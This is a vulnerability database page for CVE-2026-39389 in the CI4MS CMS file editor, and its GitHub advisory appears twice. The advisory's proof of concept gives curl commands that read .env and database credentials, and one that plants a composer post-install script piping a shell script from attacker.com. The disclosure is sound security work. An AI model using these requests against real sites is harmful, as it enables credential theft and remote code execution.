Every CVE Search/ Get API key

CVE-2026-39389

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

6.7 MediumFix available

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

0.49%Up 0.5 points since Apr 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.7

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

Record
CVE-2026-39389
CVSS 3.1
6.7 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-285
Updated
2026-11-02
EUVDEUVD-2026-20481 6.7

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

Record
EUVD-2026-20481
CVSS 3.1
6.7 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-9rxp-f27p-wv3h 6.7

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

Summary

The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.

Details

The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:

protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

This array is checked only in listFiles() at lines 45-48 and 64:

// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;

However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:

public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}

This means any file within ROOTPATH — regardless of extension (.php, .env, etc.) — can be read by any user with the fileeditor.read permission.

Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:

protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().

Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:

public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

PoC

Requires an authenticated backend session with fileeditor.read permission granted.

Step 1: Read .env file to extract secrets

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'

Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.

Step 2: Read PHP configuration files

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'

Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).

Step 3: Overwrite composer.json for RCE (requires fileeditor.update permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'

The next composer install or composer update executes the attacker's script.

Step 4: Delete .env (requires fileeditor.delete permission)

curl -s -b…
Record
GHSA-9rxp-f27p-wv3h
CVSS 3.1
6.7 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-285
Updated
2026-11-02
NVD 6.7

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

Record
CVE-2026-39389
CVSS 3.1
6.7 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-285
Updated
2026-11-02
OSV 6.7

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

Record
CVE-2026-39389
CVSS 3.1
6.7 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-285
Updated
2026-11-02
OSVGHSA-9rxp-f27p-wv3h 6.7

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

Summary

The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.

Details

The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:

protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

This array is checked only in listFiles() at lines 45-48 and 64:

// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;

However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:

public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}

This means any file within ROOTPATH — regardless of extension (.php, .env, etc.) — can be read by any user with the fileeditor.read permission.

Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:

protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().

Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:

public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

PoC

Requires an authenticated backend session with fileeditor.read permission granted.

Step 1: Read .env file to extract secrets

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'

Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.

Step 2: Read PHP configuration files

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'

Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).

Step 3: Overwrite composer.json for RCE (requires fileeditor.update permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'

The next composer install or composer update executes the attacker's script.

Step 4: Delete .env (requires fileeditor.delete permission)

curl -s -b…
Record
GHSA-9rxp-f27p-wv3h
CVSS 3.1
6.7 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-285
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
ci4-cms-erp/ci4ms
Packagist
through 0.31.3.0
0.31.4.0
ci4-cms-erp/ci4ms
Packagist
before 0.31.4.0, plus listed versions
0.21.00.21.10.21.20.21.30.21.3.1
Show 45 moreShow less
0.21.3.20.21.3.30.21.3.40.21.3.50.21.3.60.21.3.70.23.0.00.23.0.10.23.0.20.23.1.00.24.0.00.24.0.160.24.0.180.24.0.190.24.0.200.24.0.270.24.0.420.24.0.450.24.0.600.25.0.00.25.0.10.25.0.20.25.0.300.25.0.390.25.0.430.25.1.00.25.2.00.25.3.00.26.0.00.26.1.00.26.2.00.26.3.00.26.3.10.26.3.20.26.3.30.26.3.40.27.0.00.28.0.00.28.3.00.28.4.00.28.5.00.28.6.00.31.0.00.31.1.00.31.2.0
0.31.4.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-39389 is a medium vulnerability (CVSS 6.7) in Ci4-cms-erp Ci4ms, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. Fixed in ci4-cms-erp/ci4ms 0.31.4.0.

References

This page doesn't list everything

Left out here: 1 version and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open